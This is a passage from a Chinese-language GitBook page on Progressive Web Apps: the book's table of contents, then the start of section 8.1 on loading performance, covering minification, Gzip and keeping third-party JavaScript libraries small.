href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.9.1\" data-path=\"1-loading-performance.html\">\n            \n                <a href=\"1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"2-rendering-performance.html\">\n            \n                <a href=\"2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >8.1 加载性能 </a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x52A0;&#x8F7D;&#x6027;&#x80FD;\"><b></b>&#x52A0;&#x8F7D;&#x6027;&#x80FD;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x51CF;&#x5C0F;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\"><b></b>&#x51CF;&#x5C0F;&#x8D44;&#x6E90;&#x4F53;&#x79EF;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;\"><b></b>&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4F18;&#x5316;-javascript-&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#x5F15;&#x5165;\"><b></b>&#x4F18;&#x5316; JavaScript &#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#x5F15;&#x5165;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7F13;&#x5B58;\"><b></b>&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7F13;&#x5B58;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#http-&#x7F13;&#x5B58;\"><b></b>HTTP &#x7F13;&#x5B58;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x8C03;&#x6574;&#x8D44;&#x6E90;&#x4F18;&#x5148;&#x7EA7;\"><b></b>&#x8C03;&#x6574;&#x8D44;&#x6E90;&#x4F18;&#x5148;&#x7EA7;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x9884;&#x52A0;&#x8F7D;\"><b></b>&#x9884;&#x52A0;&#x8F7D;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x9884;&#x8FDE;&#x63A5;&#x4E0E;-dns-&#x9884;&#x89E3;&#x6790;\"><b></b>&#x9884;&#x8FDE;&#x63A5;&#x4E0E; DNS &#x9884;&#x89E3;&#x6790;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x9884;&#x53D6;\"><b></b>&#x9884;&#x53D6;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x61D2;&#x52A0;&#x8F7D;\"><b></b>&#x61D2;&#x52A0;&#x8F7D;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;-webpack-&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;\"><b></b>&#x4F7F;&#x7528; webpack &#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x533A;&#x5206;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x548C;&#x751F;&#x4EA7;&#x73AF;&#x5883;\"><b></b>&#x533A;&#x5206;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x548C;&#x751F;&#x4EA7;&#x73AF;&#x5883;</a></li><li><span class=\"title-icon \"></span><a href=\"#tree-shaking\"><b></b>Tree shaking</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x542F;&#x7528;&#x957F;&#x671F;&#x7F13;&#x5B58;\"><b></b>&#x542F;&#x7528;&#x957F;&#x671F;&#x7F13;&#x5B58;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;\"><b></b>&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;_1\"><b></b>&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5206;&#x6790;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\"><b></b>&#x5206;&#x6790;&#x8D44;&#x6E90;&#x4F53;&#x79EF;</a></li></ul></ul></ul></div><a href=\"#&#x52A0;&#x8F7D;&#x6027;&#x80FD;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x52A0;&#x8F7D;&#x6027;&#x80FD;\"><a name=\"&#x52A0;&#x8F7D;&#x6027;&#x80FD;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x52A0;&#x8F7D;&#x6027;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x52A0;&#x8F7D;&#x6027;&#x80FD;\" class=\"plugin-anchor\" href=\"#&#x52A0;&#x8F7D;&#x6027;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x52A0;&#x8F7D;&#x6027;&#x80FD;</h1>\n<p>Web &#x9875;&#x9762;&#x7531; HTML&#x3001;CSS&#x3001;JavaScript &#x548C;&#x5176;&#x4ED6;&#x591A;&#x5A92;&#x4F53;&#x8D44;&#x6E90;&#x7EC4;&#x6210;&#x3002;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x65F6;&#xFF0C;&#x5FC5;&#x987B;&#x4ECE;&#x670D;&#x52A1;&#x5668;&#x83B7;&#x53D6;&#x8FD9;&#x4E9B;&#x8D44;&#x6E90;&#x3002;&#x5728;&#x8FD9;&#x4E00;&#x8282;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x4F1A;&#x56F4;&#x7ED5;&#x8FD9;&#x4E9B;&#x8D44;&#x6E90;&#x548C;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF0C;&#x8BA8;&#x8BBA;&#x5982;&#x4F55;&#x4F18;&#x5316;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x6027;&#x80FD;&#x3002;</p>\n<h2 id=\"&#x51CF;&#x5C0F;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\"><a name=\"&#x51CF;&#x5C0F;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x51CF;&#x5C0F;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x51CF;&#x5C0F;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\" class=\"plugin-anchor\" href=\"#&#x51CF;&#x5C0F;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x51CF;&#x5C0F;&#x8D44;&#x6E90;&#x4F53;&#x79EF;</h2>\n<p>&#x4E3A;&#x4E86;&#x8BA9;&#x9875;&#x9762;&#x66F4;&#x5FEB;&#x52A0;&#x8F7D;&#xFF0C;&#x6700;&#x5BB9;&#x6613;&#x60F3;&#x5230;&#x7684;&#x662F;&#x51CF;&#x5C0F;&#x8D44;&#x6E90;&#x4F53;&#x79EF;&#x3002;&#x9875;&#x9762;&#x4E2D;&#x6700;&#x5E38;&#x89C1;&#x7684;&#x8D44;&#x6E90;&#x6709; HTML&#x3001;CSS&#x3001;JavaScript &#x7B49;&#x6587;&#x672C;&#x8D44;&#x6E90;&#xFF0C;&#x4EE5;&#x53CA;&#x5B57;&#x4F53;&#x3001;&#x56FE;&#x50CF;&#x3001;&#x97F3;&#x89C6;&#x9891;&#x7B49;&#x591A;&#x5A92;&#x4F53;&#x8D44;&#x6E90;&#x3002;</p>\n<h3 id=\"&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;\"><a name=\"&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;\" class=\"plugin-anchor\" href=\"#&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;</h3>\n<p>&#x538B;&#x7F29;&#x6587;&#x672C;&#x8D44;&#x6E90;&#xFF0C;&#x5C31;&#x662F;&#x5728;&#x4E0D;&#x6539;&#x53D8;&#x8D44;&#x6E90;&#x6709;&#x6548;&#x6027;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x901A;&#x8FC7;&#x5220;&#x9664;&#x591A;&#x4F59;&#x7A7A;&#x683C;&#x3001;&#x53D8;&#x91CF;&#x540D;&#x66FF;&#x6362;&#x3001;&#x8868;&#x8FBE;&#x5F0F;&#x6539;&#x5199;&#x7B49;&#x64CD;&#x4F5C;&#xFF0C;&#x6765;&#x5C3D;&#x53EF;&#x80FD;&#x51CF;&#x5C0F;&#x6587;&#x672C;&#x8D44;&#x6E90;&#x7684;&#x4F53;&#x79EF;&#x3002;</p>\n<p>&#x538B;&#x7F29;&#x867D;&#x7136;&#x7B80;&#x5355;&#xFF0C;&#x4F46;&#x5341;&#x5206;&#x6709;&#x6548;&#xFF0C;&#x8FD9;&#x4E5F;&#x662F;&#x6700;&#x5E7F;&#x6CDB;&#x7684;&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x4F53;&#x79EF;&#x7684;&#x64CD;&#x4F5C;&#x3002;&#x8BB8;&#x591A;&#x5DE5;&#x5177;&#x53EF;&#x4EE5;&#x5E2E;&#x52A9;&#x6211;&#x4EEC;&#x5B8C;&#x6210;&#x6587;&#x672C;&#x538B;&#x7F29;&#x3002;&#x76EE;&#x524D;&#x4E3B;&#x6D41;&#x7684;&#x8D44;&#x6E90;&#x6253;&#x5305;&#x5DE5;&#x5177; webpack&#xFF0C;&#x751F;&#x6001;&#x8F83;&#x4E3A;&#x7E41;&#x8363;&#xFF0C;&#x901A;&#x8FC7; loader &#x548C; plugin &#x673A;&#x5236;&#x96C6;&#x6210;&#x4E86;&#x591A;&#x79CD;&#x5E38;&#x7528;&#x7684;&#x8D44;&#x6E90;&#x5904;&#x7406;&#x5E93;&#x3002;&#x5982; <code>TerserPlugin</code> &#x53EF;&#x4EE5;&#x7528;&#x4E8E;&#x538B;&#x7F29; JavaScript&#xFF0C;<code>PostCSS</code> &#x53EF;&#x4EE5;&#x5BF9; CSS &#x8FDB;&#x884C;&#x538B;&#x7F29;&#xFF0C;&#x4EE5;&#x53CA;&#x5B8C;&#x6210;&#x524D;&#x7F00;&#x81EA;&#x52A8;&#x8865;&#x5168;&#x5DE5;&#x4F5C;&#x3002;&#x5173;&#x4E8E; webpack &#x7684;&#x66F4;&#x591A;&#x4ECB;&#x7ECD;&#xFF0C;&#x8BE6;&#x89C1;&#x4E0B;&#x6587; <a href=\"#&#x4F7F;&#x7528;-webpack-&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;\">&#x4F7F;&#x7528; webpack &#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;</a>&#x3002;</p>\n<p>&#x9664;&#x4E86;&#x538B;&#x7F29;&#x5355;&#x4E2A;&#x6587;&#x4EF6;&#x5916;&#xFF0C;&#x5728;&#x670D;&#x52A1;&#x5668;&#x4E0A;&#x914D;&#x7F6E; Gzip &#x4E5F;&#x5341;&#x5206;&#x91CD;&#x8981;&#x3002;Gzip &#x5BF9;&#x6587;&#x672C;&#x8D44;&#x6E90;&#x7684;&#x538B;&#x7F29;&#x6548;&#x679C;&#x975E;&#x5E38;&#x660E;&#x663E;&#xFF0C;&#x901A;&#x5E38;&#x53EF;&#x4EE5;&#x5C06;&#x4F53;&#x79EF;&#x518D;&#x538B;&#x7F29;&#x81F3;&#x539F;&#x672C;&#x7684; 30% &#x5DE6;&#x53F3;&#xFF0C;&#x4F46; Gzip &#x5BF9;&#x5DF2;&#x7ECF;&#x5355;&#x72EC;&#x538B;&#x7F29;&#x7684;&#x56FE;&#x50CF;&#x7B49;&#x975E;&#x6587;&#x672C;&#x8D44;&#x6E90;&#x6765;&#x8BF4;&#xFF0C;&#x6548;&#x679C;&#x5E76;&#x4E0D;&#x597D;&#x3002;Apache&#x3001;Nginx &#x7B49;&#x670D;&#x52A1;&#x5668;&#x90FD;&#x63D0;&#x4F9B;&#x4E86; Gzip &#x529F;&#x80FD;&#xFF0C;&#x53EF;&#x4EE5;&#x5206;&#x522B;&#x5728;&#x914D;&#x7F6E;&#x6587;&#x4EF6; <code>.htaccess</code>&#x3001;<code>nginx.conf</code> &#x4E2D;&#x8FDB;&#x884C;&#x76F8;&#x5E94;&#x7684;&#x914D;&#x7F6E;&#x3002;&#x5F00;&#x542F; Gzip &#x540E;&#xFF0C;&#x8D44;&#x6E90;&#x6587;&#x4EF6;&#x7684; HTTP &#x54CD;&#x5E94;&#x5934;&#x90E8;&#x4E2D;&#xFF0C; <code>Content-Encoding</code> &#x4E5F;&#x4F1A;&#x53D8;&#x4E3A; <code>gzip</code>&#x3002;</p>\n<h3 id=\"&#x4F18;&#x5316;-javascript-&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#x5F15;&#x5165;\"><a name=\"&#x4F18;&#x5316;-javascript-&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#x5F15;&#x5165;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F18;&#x5316;-javascript-&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#x5F15;&#x5165;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F18;&#x5316;-javascript-&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#x5F15;&#x5165;\" class=\"plugin-anchor\" href=\"#&#x4F18;&#x5316;-javascript-&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#x5F15;&#x5165;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F18;&#x5316; JavaScript &#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#x5F15;&#x5165;</h3>\n<p>&#x5728;&#x73B0;&#x4EE3; Web &#x5355;&#x9875;&#x5E94;&#x7528;&#x4E2D;&#xFF0C;JavaScript &#x5F80;&#x5F80;&#x6210;&#x4E3A;&#x4E86;&#x6700;&#x91CD;&#x8981;&#x7684;&#x6587;&#x672C;&#x8D44;&#x6E90;&#x3002;&#x9664;&#x4E86;&#x7528;&#x4E8E;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x7684; JavaScript &#x6846;&#x67B6;&#x5916;&#xFF0C;&#x8FD8;&#x6709;&#x8BB8;&#x591A;&#x5DE5;&#x5177;&#x5E93;&#x88AB;&#x5E7F;&#x6CDB;&#x5F15;&#x7528;&#xFF0C;&#x5982; lodash&#x3001;underscore&#xFF0C;&#x751A;&#x81F3; jquery &#x7B49;&#x3002;</p>\n<p>&#x4E0D;&#x8BA1;&#x540E;&#x679C;&#x5730;&#x5F15;&#x5165;&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#xFF0C;&#x4F1A;&#x8FC5;&#x901F;&#x589E;&#x5927; JavaScript &#x8D44;&#x6E90;&#x7684;&#x4F53;&#x79EF;&#x3002;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x53EA;&#x9700;&#x8981;&#x4F7F;&#x7528;&#x5DE5;&#x5177;&#x5E93;&#x4E2D;&#x5C11;&#x6570;&#x51E0;&#x4E2A;&#x7B80;&#x5355;&#x51FD;&#x6570;&#xFF0C;&#x53EF;&#x4EE5;&#x8003;&#x8651;&#x4F7F;&#x7528;&#x539F;&#x751F; JavaScript &#x4EE3;&#x66FF;&#x3002;</p>\n<p>&#x5B9E;&#x9645;&#x4E0A;&#xFF0C;&#x7531;&#x4E8E;&#x73B0;&#x4EE3;&#x524D;&#x7AEF;&#x6846;&#x67B6;&#x5927;&#x5E45;&#x666E;&#x53CA;&#xFF0C;&#x4EE5;&#x53CA;&#x6D4F;&#x89C8;&#x5668;&#x517C;&#x5BB9;&#x6027;&#x95EE;&#x9898;&#x65E5;&#x76CA;&#x51CF;&#x5C11;&#xFF0C;&#x6211;&#x4EEC;&#x5BF9; jQuery 